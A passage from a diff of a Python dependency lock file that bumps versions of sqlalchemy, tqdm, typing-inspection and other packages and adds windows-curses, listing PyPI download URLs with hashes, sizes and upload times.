"https://files.pythonhosted.org/packages/d0/7d/ff77169fee6186de145a7f2b87006c39638391130abbab2b1f63ac6ea583/sqlalchemy-2.0.51-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c5d98a2709840027f5a347c3af0a7c3d5f6c1ff93af2ca1c54494e23cba8f389", size = 3289874, upload-time = "2026-06-15T16:19:45.212Z" }, - { url = "https://files.pythonhosted.org/packages/6f/3b/6c505903710d781b55bc3141ee34a062bf9745a6b5bc7333305b9ed63b33/sqlalchemy-2.0.51-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:1181256e0f16479691b5616d36375dc2620ad8332b25978763c3d206ad3f3f1d", size = 3321692, upload-time = "2026-06-15T16:26:39.747Z" }, - { url = "https://files.pythonhosted.org/packages/3c/b7/c5ffe50aa2f4d947c9250e1519d939260329a07fe6272edfccd784b3d007/sqlalchemy-2.0.51-cp312-cp312-win32.whl", hash = "sha256:9f380393be5abeb6815f68fd39271b95127173511b6706b0a630a9995d53f8f5", size = 2119674, upload-time = "2026-06-15T16:23:09.543Z" }, - { url = "https://files.pythonhosted.org/packages/25/dc/46a65916af68a06ef6b972c6050ba4c8f97070fe3fb33097d34229d9bef6/sqlalchemy-2.0.51-cp312-cp312-win_amd64.whl", hash = "sha256:2cf39aabdf48e87c1c2c2ed6d20d33ffa0733b3071ce9c5f66357947dd009080", size = 2146670, upload-time = "2026-06-15T16:23:11.048Z" }, - { url = "https://files.pythonhosted.org/packages/54/fe/a210d52fd1a90ecfae8a78e9d8b27e18d733d60818a8bf250ff690b75120/sqlalchemy-2.0.51-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7c2056838b6685b72fdb36c99996cf862753461a62f2e84f4196371d3b2d6a07", size = 2157184, upload-time = "2026-06-15T16:08:50.374Z" }, - { url = "https://files.pythonhosted.org/packages/17/6b/2dce8369b199cb855110e056032f94a9f66dacc2237d3d39c115a86eac56/sqlalchemy-2.0.51-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:483b11bd46bf35fc14c52faf338b04300c9e6ce554bce9b11be85bfec3bc3195", size = 3284735, upload-time = "2026-06-15T16:19:46.934Z" }, - { url = "https://files.pythonhosted.org/packages/53/ff/dbc495b8a14da840faffb353857a72d4190113cac33727906fb997047f0f/sqlalchemy-2.0.51-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1bed1ee8b01da6088210aa9412023326fb98a599ba502e6118308601dcbef77f", size = 3302756, upload-time = "2026-06-15T16:26:41.336Z" }, - { url = "https://files.pythonhosted.org/packages/cf/d5/fde8f4dddcf518ee15ab35a7c6a28acc32c8ba548d1d2aa451f96e6dbb0b/sqlalchemy-2.0.51-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:72ca54c952107ba5cd58854b67a5a6268631289d21651a1235396f3b98b47400", size = 3232055, upload-time = "2026-06-15T16:19:49.286Z" }, - { url = "https://files.pythonhosted.org/packages/67/d1/43d3a0ac955a58601c24fa23038b1c55ee3a1ec02c0f96ebb1eae2bcf614/sqlalchemy-2.0.51-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b3e693d15533a45cd5906f0589f9c35090bef6ef45bf1e8195c424aa0ae06a8d", size = 3269850, upload-time = "2026-06-15T16:26:43.017Z" }, - { url = "https://files.pythonhosted.org/packages/94/df/de669c7054cd47c4439ac34b1b2ee8b804a794791fbb10720e997a2c87c7/sqlalchemy-2.0.51-cp313-cp313-win32.whl", hash = "sha256:b93ab07b5292dbe7e6b8da89475275e7042744283921344b56105f3eeb0f828b", size = 2117721, upload-time = "2026-06-15T16:23:12.36Z" }, - { url = "https://files.pythonhosted.org/packages/d0/8a/403c51d064196bae20a0bc2476577f83a3f8dd299719a97417086b7f2ec5/sqlalchemy-2.0.51-cp313-cp313-win_amd64.whl", hash = "sha256:0f053118c30e53161857a953e4de667d90e274980dccbe5dd3829bbbeece72a5", size = 2143615, upload-time = "2026-06-15T16:23:13.906Z" }, - { url = "https://files.pythonhosted.org/packages/b1/49/a739be2e1d02a96a658eb71ab45d921c874249252358ad24a5bffdd02525/sqlalchemy-2.0.51-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6ea306caaae6bd5afd0a46050003c88f6bf33227377a49298c498c3cb88ff491", size = 2158999, upload-time = "2026-06-15T16:08:51.759Z" }, - { url = "https://files.pythonhosted.org/packages/23/6b/2e0e38cf75c8780eca78d9b2e78164f8bcfd70125e5caa588ff5cbb9c9f4/sqlalchemy-2.0.51-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c45a496d6bc05dec41dcd4c3a2b183723f47473255c159cd80b503c8f246424d", size = 3282539, upload-time = "2026-06-15T16:19:51.065Z" }, - { url = "https://files.pythonhosted.org/packages/dd/a1/e77854cb5336fd37dc3c6ae3b71de242c98caac5725120be0b526b31cbd0/sqlalchemy-2.0.51-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4004ada0aafe8ae1991b2cd1d99c6d9146126e123bd6f883c260d974aa012e54", size = 3287545, upload-time = "2026-06-15T16:26:44.735Z" }, - { url = "https://files.pythonhosted.org/packages/f6/ab/9e17272fd4dac8df3b83c4fbe52b998a1c9d89a843c8c35ff29b74ff7364/sqlalchemy-2.0.51-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:0f6bcad487aee1c638d707235682fc96f741de00663619881ab235400d03289e", size = 3230929, upload-time = "2026-06-15T16:19:52.625Z" }, - { url = "https://files.pythonhosted.org/packages/02/3c/52f408ea701781caee975606beccc48845f2aee8711ac29843d612c0306c/sqlalchemy-2.0.51-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:39a76529db6305693d8d4affa58ad5b5e2e18edd62daea628b29b97930b3513d", size = 3252888, upload-time = "2026-06-15T16:26:46.454Z" }, - { url = "https://files.pythonhosted.org/packages/24/16/3efd2ee6bc4ca4693a30a1dd17a91b606cae15d517d2a4746611d9b73ce8/sqlalchemy-2.0.51-cp314-cp314-win32.whl", hash = "sha256:08a204d8b5638717c26a24df18fcf40af45a6b22e35b70b1d62f0113c2e278e8", size = 2120551, upload-time = "2026-06-15T16:23:15.629Z" }, - { url = "https://files.pythonhosted.org/packages/7b/78/55b12e70f45bccc40d9e483925c065027b3b98ea4cbbdf6f8c2546feaf6c/sqlalchemy-2.0.51-cp314-cp314-win_amd64.whl", hash = "sha256:96747bfbadb055466e5b46d572618170046b45ce5a4879167f50d70a5319a499", size = 2146318, upload-time = "2026-06-15T16:23:17.108Z" }, - { url = "https://files.pythonhosted.org/packages/21/db/a9574ed40fed418924b1b1a3e54f47ee3963053b3d3d325a0d36b41f2c08/sqlalchemy-2.0.51-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e5ea1a213be1fcd5e49d9904c3b9939211ded90bc2a64e93f4c01963474285de", size = 2178920, upload-time = "2026-06-15T15:59:56.285Z" }, - { url = "https://files.pythonhosted.org/packages/bf/90/a1bb5c7cbba76b7bc1fbd586d0a5479a7bc9c27b4a8298f22ec9423b2bb3/sqlalchemy-2.0.51-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7c6b36ed71f41942bdcd2ad2522be46bfce09d5705be5640ecf19bbc7660e4b7", size = 3566534, upload-time = "2026-06-15T15:58:35.024Z" }, - { url = "https://files.pythonhosted.org/packages/15/4b/481f1fed30e0e9e8dd24aecbb49f29eb57fe7657ece5cf06ee9b84bb97d8/sqlalchemy-2.0.51-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0c2c62877097e1a0db401fba5cb4debee33265e5b2a55c4ccb489c02c53b4f72", size = 3535844, upload-time = "2026-06-15T16:02:43.973Z" }, - { url = "https://files.pythonhosted.org/packages/02/71/0aa64aeda645510af0a43f7d9ee70932f0d1dc4263aed34c50ee891d9df3/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0378d055e9e8cd6ce4d8dff683bdd3d7d413533c4ee51d67a2b1e0f9eacc0f23", size = 3475355, upload-time = "2026-06-15T15:58:36.592Z" }, - { url = "https://files.pythonhosted.org/packages/05/db/6061db32316446135a3abae5f308d144ab988a34234726042da3e58b1c63/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6e46fc36029eff666391e0531e5387b62ce6c4f1d8e50b3fb3099eaca1b42522", size = 3486591, upload-time = "2026-06-15T16:02:45.346Z" }, - { url = "https://files.pythonhosted.org/packages/0d/c9/f14fdf71bb8957e0c7e39db69bbdf12b5c80f4ef775fdfa127bf4e0d6760/sqlalchemy-2.0.51-cp314-cp314t-win32.whl", hash = "sha256:9161cfc9efce70d1715f47d6ff40f79c6778c00d53be4fbc09d70301e4b83ba7", size = 2151313, upload-time = "2026-06-15T16:03:39.127Z" }, - { url = "https://files.pythonhosted.org/packages/6a/c6/673e618e6f4f297e126d9b56ea2f6478708f6c1af4e3223835c22e2c3697/sqlalchemy-2.0.51-cp314-cp314t-win_amd64.whl", hash = "sha256:159bb6ba32059f57ad7375a8f50d844dd2f19d14954ecf820cd33e20debd46b2", size = 2186280, upload-time = "2026-06-15T16:03:40.569Z" }, - { url = "https://files.pythonhosted.org/packages/e2/22/dbf013a12ec759e54a34a119e9e217435b3f71b2dd5c61a7ade0a25dae87/sqlalchemy-2.0.51-py3-none-any.whl", hash = "sha256:bb024d8b621d0be75f4f44ecc7c950450026e76d66dc8f791bb5331d7fed59d5", size = 1944334, upload-time = "2026-06-15T16:09:22.418Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size = 9945637, upload-time = "2026-08-11T19:07:09.829Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6b/08/cc5f7627b92f1456bc0b5fb7e98af4600248abe422a44da0d17a3fe6a448/sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c", size = 2172460, upload-time = "2026-08-11T20:58:22.429Z" }, + { url = "https://files.pythonhosted.org/packages/ed/dc/9a2abad8bfc8fdcd38c64adc056aeefab7aaa96ecd32f5e8c140e6375f17/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608", size = 3355720, upload-time = "2026-08-11T21:00:06.746Z" }, + { url = "https://files.pythonhosted.org/packages/a8/73/e75597b5841043e3c74055d00d4feb53d9a49a5c89ba2450d2d9aab53597/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1", size = 3354394, upload-time = "2026-08-11T21:05:51.454Z" }, + { url = "https://files.pythonhosted.org/packages/12/25/410fbc6c2f1fa8310f4ef1b6847d47d0ac1c042c7b4e81eaaca063d030a9/sqlalchemy-2.0.52-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f8438a98d49424acf69d0d53c0a522951dfe49a6f2d86417fbb37ad3066ab43", size = 3306991, upload-time = "2026-08-11T21:00:08.603Z" }, + { url = "https://files.pythonhosted.org/packages/b2/ba/25ffd5c24681ea4b46e62c80ceca8200ce204de1773366321306cf3f608a/sqlalchemy-2.0.52-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4699dbb8d396d199e7e78fd4d525e3ad3d6008a9c8c0160b87e74c606c2c3736", size = 3327454, upload-time = "2026-08-11T21:05:53.368Z" }, + { url = "https://files.pythonhosted.org/packages/c2/f1/0f1b1d4800e51218e736a06ed55a3b2a59c257600bbaca7673bf13d2dbec/sqlalchemy-2.0.52-cp311-cp311-win32.whl", hash = "sha256:cef328349452ae152637df4d11ce5a0919ecdf0a363e16c830c3518ee33bde72", size = 2131248, upload-time = "2026-08-11T21:09:50.765Z" }, + { url = "https://files.pythonhosted.org/packages/7a/f0/04d2ac5ad66f3d31278f37064ed5f5ef3fe653f7bdaa67036663f223d186/sqlalchemy-2.0.52-cp311-cp311-win_amd64.whl", hash = "sha256:f1c850792a3b25a3ad74dade3f05e4f402cdebfea27438bcadafaa1617f77bcc", size = 2156943, upload-time = "2026-08-11T21:09:51.979Z" }, + { url = "https://files.pythonhosted.org/packages/e0/d5/1b77a026d161f98a08f11af1a5f6c47b98ee7c7e2648af525a1004826c78/sqlalchemy-2.0.52-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:be8c49131665dfe2cc74c498aa1240ffb548d0fd901325dd11c2c7a18956f727", size = 2170940, upload-time = "2026-08-11T20:58:11.25Z" }, + { url = "https://files.pythonhosted.org/packages/54/bd/f444444adb37b5d53753fb1730ee7a421628e2e3b756c4da461af7e6394a/sqlalchemy-2.0.52-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b2d9e507a458832adcfbd8af6e2036ddf069b7710b799448542ebccae2dceee", size = 3383415, upload-time = "2026-08-11T21:02:38.534Z" }, + { url = "https://files.pythonhosted.org/packages/be/57/2eadf93a552568c57e8680b7e58bb5e9770d80942a1bdbaf4f2f63f0d7c8/sqlalchemy-2.0.52-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8738008376d22f30f411ea3efecf39b51110b6996d80bb73786f30bcfdd5fd3b", size = 3398577, upload-time = "2026-08-11T21:16:59.092Z" }, + { url = "https://files.pythonhosted.org/packages/15/c3/2887cf9dd111d1fbf05d22165b404c221ef43e029f7a2695e7302f27a7cc/sqlalchemy-2.0.52-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37a4d548327b6cab9c7d8cdb4e0e82feabee0110c4d150059068e2d1cfbd99ee", size = 3328225, upload-time = "2026-08-11T21:02:40.183Z" }, + { url = "https://files.pythonhosted.org/packages/02/0f/466bdf9e1feeeef5587f868c187d8687e21ff8c85b1775e9041130181132/sqlalchemy-2.0.52-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e49f51a5d59857a7a0dcaf9469febf7197d9394bd88f00d69c2c4e848112cdbf", size = 3357374, upload-time = "2026-08-11T21:17:01.076Z" }, + { url = "https://files.pythonhosted.org/packages/22/20/5c2b4583904af4173076dda1c9e53c9e2ffc7a702d2efde0216bbacbf7cb/sqlalchemy-2.0.52-cp312-cp312-win32.whl", hash = "sha256:afda3ec521d0517d0de783fc70030775841900896d832de5bbd066549290470e", size = 2129366, upload-time = "2026-08-11T21:14:50.991Z" }, + { url = "https://files.pythonhosted.org/packages/ed/06/543dab8ef62d4e9fb96fb31a30c2b8b14a8763bccf48d428294d6b3041c0/sqlalchemy-2.0.52-cp312-cp312-win_amd64.whl", hash = "sha256:2d5e53e36e37129fe0be8b9d08b6e4052c10a963ee6cda56c8c10dcc194b99ca", size = 2157344, upload-time = "2026-08-11T21:14:52.453Z" }, + { url = "https://files.pythonhosted.org/packages/7f/18/e30c6fe1eca1bf34a39fbdd6066121cc9974c850faf6f349eac563697a26/sqlalchemy-2.0.52-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2eb3c6a64b1bfe6704777cfd504e7b8ad093a5f3e03ce67663a5e6742f294e43", size = 2167724, upload-time = "2026-08-11T20:58:12.679Z" }, + { url = "https://files.pythonhosted.org/packages/d0/56/2e17d161a4f7ecc1c2ffb93e607b4e1898bb551b451b283235acb8f6ce47/sqlalchemy-2.0.52-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:923bb183c1dc64fdf7b717965e3d59938ec4f8b8710b419a21ce403e5da9a9e1", size = 3321189, upload-time = "2026-08-11T21:02:41.932Z" }, + { url = "https://files.pythonhosted.org/packages/cf/b8/8490916e893f3f8d74dc9cc54c078619364999dee37047a188e73abbc852/sqlalchemy-2.0.52-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:651d6d8782e80679e6151707c7b490834d46ada526328895abf567f25e63d29c", size = 3338185, upload-time = "2026-08-11T21:17:02.597Z" }, + { url = "https://files.pythonhosted.org/packages/8b/f7/752cc8ee453da222829b3f5c4613614bf750d97429363b70414fa10478e4/sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b08cddb8989775e3c88799d86704bdfc3ee6e9846118201aa5997f16f27e3a15", size = 3271698, upload-time = "2026-08-11T21:02:43.963Z" }, + { url = "https://files.pythonhosted.org/packages/51/e6/074ade0c07b9e4c8e8bca46820320ed94df9702afdb6f2af06623068d2e6/sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ab66fa9618269390d4dfa222f2f2f88f7bc4bf5da13905131b818217db7e8057", size = 3308936, upload-time = "2026-08-11T21:17:04.172Z" }, + { url = "https://files.pythonhosted.org/packages/66/07/557c0d04716705599227945ac14e0a17ad0338e899f37d8c2ddff4dcc663/sqlalchemy-2.0.52-cp313-cp313-win32.whl", hash = "sha256:c63bda077685c85ca513286547a531ba57e7a68cf0a7ed3bafcc2bbd18896f4d", size = 2127308, upload-time = "2026-08-11T21:14:53.879Z" }, + { url = "https://files.pythonhosted.org/packages/96/4e/226eda27654318ce525d043025221f689abef883da2c7126f9065121618c/sqlalchemy-2.0.52-cp313-cp313-win_amd64.whl", hash = "sha256:9876b09b9f1ce7398b0ffece585c0a911244c53191187341f6bcae640e133751", size = 2153876, upload-time = "2026-08-11T21:14:55.527Z" }, + { url = "https://files.pythonhosted.org/packages/d5/f5/71cb30af58c9b80a4e1fac0b73bb48f86d497a774a6a2eb6d2f1e657bb73/sqlalchemy-2.0.52-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:410d52be41d17f1a236d19520fbe776257dc16516ed06bd16d433311842aefd9", size = 2169537, upload-time = "2026-08-11T20:58:13.855Z" }, + { url = "https://files.pythonhosted.org/packages/4c/93/d07ebd645d1b07b6b5ed63450a70f063a346a7e0f2c8810daf2e532400cb/sqlalchemy-2.0.52-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dfe9ce533dbe4d0a2ae1486546619bd30b76bcd670539a44d910361376175f5e", size = 3319606, upload-time = "2026-08-11T21:02:45.829Z" }, + { url = "https://files.pythonhosted.org/packages/ae/5c/290c84c7c2566ecd3b65baaae0fddec9bc33b033b398a06123bb86fbfc6e/sqlalchemy-2.0.52-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:812bae5138bfc0aa46fb0686da0fc7f581f68e2bbb05bc24c3713bebaedd1437", size = 3323642, upload-time = "2026-08-11T21:17:05.675Z" }, + { url = "https://files.pythonhosted.org/packages/13/f5/2cc160590ca49173359557880b92a0572293ccb899e8f6cedf150c5a3ddf/sqlalchemy-2.0.52-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:50bff43b632a56fbf5ed9afdd76307e1512b62051bcd5afb341ae67205bbb6c8", size = 3268125, upload-time = "2026-08-11T21:02:47.649Z" }, + { url = "https://files.pythonhosted.org/packages/35/f3/ea8933fc9f7d1353e9c2ff9965eae687c4cef181120574591ed2fa0633e1/sqlalchemy-2.0.52-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:49565daf5af554f538e23aef1fc81a95a4e49658f152285e45c02f5fc44f04cd", size = 3289516, upload-time = "2026-08-11T21:17:07.267Z" }, + { url = "https://files.pythonhosted.org/packages/45/67/05cf86541c1e1716fca1e4a996954a439cd74501707cda607fb7cb02ef50/sqlalchemy-2.0.52-cp314-cp314-win32.whl", hash = "sha256:ab9da41e61b9979b910499d633b241df20c51ee5037e5405b11c2faac3cbe1a2", size = 2130249, upload-time = "2026-08-11T21:14:57.273Z" }, + { url = "https://files.pythonhosted.org/packages/96/d7/8ac6ffa1e36169e762ef65bd835046abb2251b1bc17f8f6708e14ed8d31f/sqlalchemy-2.0.52-cp314-cp314-win_amd64.whl", hash = "sha256:a593db51b3bae75db17a5738ad5f992244b3a03863f83c28117ee482c6a3f76d", size = 2156718, upload-time = "2026-08-11T21:14:58.667Z" }, + { url = "https://files.pythonhosted.org/packages/dc/4b/e01a737eef378e734cc6394a82248a6ce13b167dfa36c731075ce9fc9c64/sqlalchemy-2.0.52-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1e61d08bdf4ee2f41024569e3400de7d6734ba498144766b11260936ccfa582", size = 2190344, upload-time = "2026-08-11T19:53:21.393Z" }, + { url = "https://files.pythonhosted.org/packages/b3/3f/3582293d1e185e71d19d7c731c3e2ee20ba21981c4a1115c0806c1f62120/sqlalchemy-2.0.52-py3-none-any.whl", hash = "sha256:3b81b8363a919ce53453591cdb93702e6bd54ade6c4fa2f468fc053baee5ed89", size = 1950700, upload-time = "2026-08-11T20:47:21.603Z" }, ] [[package]] @@ -1979,9 +2083,6 @@ version = "0.5.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/a7/e6/d0d74b18bed8c16949fddc0401005c072947ae7bf1bab982ed28f9ebc2d8/sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98", size = 59920, upload-time = "2025-12-03T00:31:05.564Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/6d/cb/7cc967b48d182cb012229ccc9f9e3fd5e245b7f0c80667297ddded580877/sspilib-0.5.0-cp310-cp310-win32.whl", hash = "sha256:8dab68e994d24a08f854d36ac96409b3b8cc03fdebc590925f76f9d733c3a902", size = 475882, upload-time = "2025-12-03T00:30:23.403Z" }, - { url = "https://files.pythonhosted.org/packages/7b/0d/7746ade4e3c4dba6c6d9b2afe3c3903f4bcab2da6b300b5d81afee089196/sspilib-0.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e1947df07110ee1861009fc117bd089a7710403f3f5c488fb52a6e00b7c5b84", size = 563068, upload-time = "2025-12-03T00:30:24.605Z" }, - { url = "https://files.pythonhosted.org/packages/8d/fb/6821418037e9d78179153e770e2b0280956f28f4bf51069dcbcc0348505d/sspilib-0.5.0-cp310-cp310-win_arm64.whl", hash = "sha256:28d0eb944f7ff70bc99fe729d06fa230aec1649c5bc216809e359cd0c77d4840", size = 486370, upload-time = "2025-12-03T00:30:26.21Z" }, { url = "https://files.pythonhosted.org/packages/ce/1b/dd9066491168933b0f7ab6e396ac58cc024c8954e95264c38e3dc9363d7c/sspilib-0.5.0-cp311-abi3-win32.whl", hash = "sha256:fcb57b41b3200ef2e6e8846e2a13799d20b35b796267f2f75cc65e3883e8eeb6", size = 451246, upload-time = "2025-12-03T00:30:36.685Z" }, { url = "https://files.pythonhosted.org/packages/17/6a/a11abf90172ff580ac2f9ade3496d868e05e851c4ecf487dd5baeb966b1d/sspilib-0.5.0-cp311-abi3-win_amd64.whl", hash = "sha256:ca2a21a4e90db563c2cec639c66b3a29ea53129a0c55ff1e4154a02937f6bd45", size = 540777, upload-time = "2025-12-03T00:30:38.44Z" }, { url = "https://files.pythonhosted.org/packages/45/05/983876d281b9e7926f1c9126e72de8bd5928b1de45433163f54d4e217502/sspilib-0.5.0-cp311-abi3-win_arm64.whl", hash = "sha256:6893bad16f122fc3c4bd908461b9728694465c05ca97c22f7e2094791c4ee3cb", size = 470353, upload-time = "2025-12-03T00:30:39.63Z" }, @@ -2019,14 +2120,14 @@ wheels = [ [[package]] name = "tqdm" -version = "4.68.4" +version = "4.70.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "colorama", marker = "sys_platform == 'win32'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/ae/5f/57ff8b434839e70dab45601284ea413e947a63799891b7553e5960a793a8/tqdm-4.68.4.tar.gz", hash = "sha256:19829c9673638f2a0b8617da4cdcb927e831cd88bcfcb6e78d42a4d1af131520", size = 792418, upload-time = "2026-07-07T09:58:18.369Z" } +sdist = { url = "https://files.pythonhosted.org/packages/21/3b/6c24bec5be5e743ffd99576daa5cc077722fc7d5bbc00bd133fa0c698dc6/tqdm-4.70.0.tar.gz", hash = "sha256:55b0b0dbd97462d06ebee91e4dac24ed4d4702be82b24f07e6c1d27e08cea220", size = 795438, upload-time = "2026-07-27T11:33:15.271Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/22/2a/5e5e750890ada51017d18d0d4c30da696e5b5bd3180947729927628fc3cb/tqdm-4.68.4-py3-none-any.whl", hash = "sha256:5168118b2368f48c561afda8020fd79195b1bdb0bdf8086b88442c267a315dc2", size = 676612, upload-time = "2026-07-07T09:58:16.256Z" }, + { url = "https://files.pythonhosted.org/packages/f9/1c/01bfd571a64e7f270e6bab5e33777debe0edc56759233ce84f27dec92d14/tqdm-4.70.0-py3-none-any.whl", hash = "sha256:7f585706bfddbdebf89daac705b2dfcc16890130727d3197ca62c732b4310953", size = 80184, upload-time = "2026-07-27T11:33:13.167Z" }, ] [[package]] @@ -2040,14 +2141,14 @@ wheels = [ [[package]] name = "typing-inspection" -version = "0.4.2" +version = "0.4.4" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a3/26/b09b8010994eccc3c09092e6b34058f36a460eea2d4c3e8b910c695975a0/typing_inspection-0.4.4.tar.gz", hash = "sha256:547274fa6b0a561ccf549cc9524b999a578e737d015d8709d021f9d0d13bea47", size = 76928, upload-time = "2026-08-12T12:37:25.997Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, + { url = "https://files.pythonhosted.org/packages/67/81/4add07e5172b7ac40d8ed5ff580409a7801a4fe26d529bdd915401dabfbe/typing_inspection-0.4.4-py3-none-any.whl", hash = "sha256:65b8397ba37ccbce054456aaccddfc91e6e3083c92824df348d96ca832f3f147", size = 14750, upload-time = "2026-08-12T12:37:24.648Z" }, ] [[package]] @@ -2104,6 +2205,21 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/64/82/9be45ef89488ad87870da83271cb734f410373ca86dde76d6907d74cf0e0/winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099", size = 89218, upload-time = "2024-05-06T07:23:14.411Z" }, ] +[[package]] +name = "windows-curses" +version = "2.4.2" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/58/5fd430fec0ebe1cef88ddccba345ca119f1b44e58f58d6998878a01c9973/windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864", size = 71135, upload-time = "2026-03-31T12:44:35.863Z" }, + { url = "https://files.pythonhosted.org/packages/84/62/e2bae0ab9c5c80dca9a708a4cb9c8afaf0ef61c8d4459b57f96785040831/windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333", size = 81863, upload-time = "2026-03-31T12:44:36.834Z" }, + { url = "https://files.pythonhosted.org/packages/2e/9c/b2a3706c8edadae8ae88b327ba072d6056ad1b492f9996214cff027e9f01/windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156", size = 71547, upload-time = "2026-03-31T12:44:37.797Z" }, + { url = "https://files.pythonhosted.org/packages/8b/ee/8c5da36191524856fb2c675f8cae99211ccf77bcd4e4a9010477e08000ac/windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a", size = 82282, upload-time = "2026-03-31T12:44:39.106Z" }, + { url = "https://files.pythonhosted.org/packages/b1/54/195f2c4d0258ced34a401c8e3c9eefa2aa2221a9f0179ae64ad3cb039e64/windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d", size = 71458, upload-time = "2026-03-31T12:44:40.184Z" }, + { url = "https://files.pythonhosted.org/packages/47/e8/38fd0fef95271280a77a4f3b65e0961d3c39716388b39c08b3040bfb4f2c/windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = 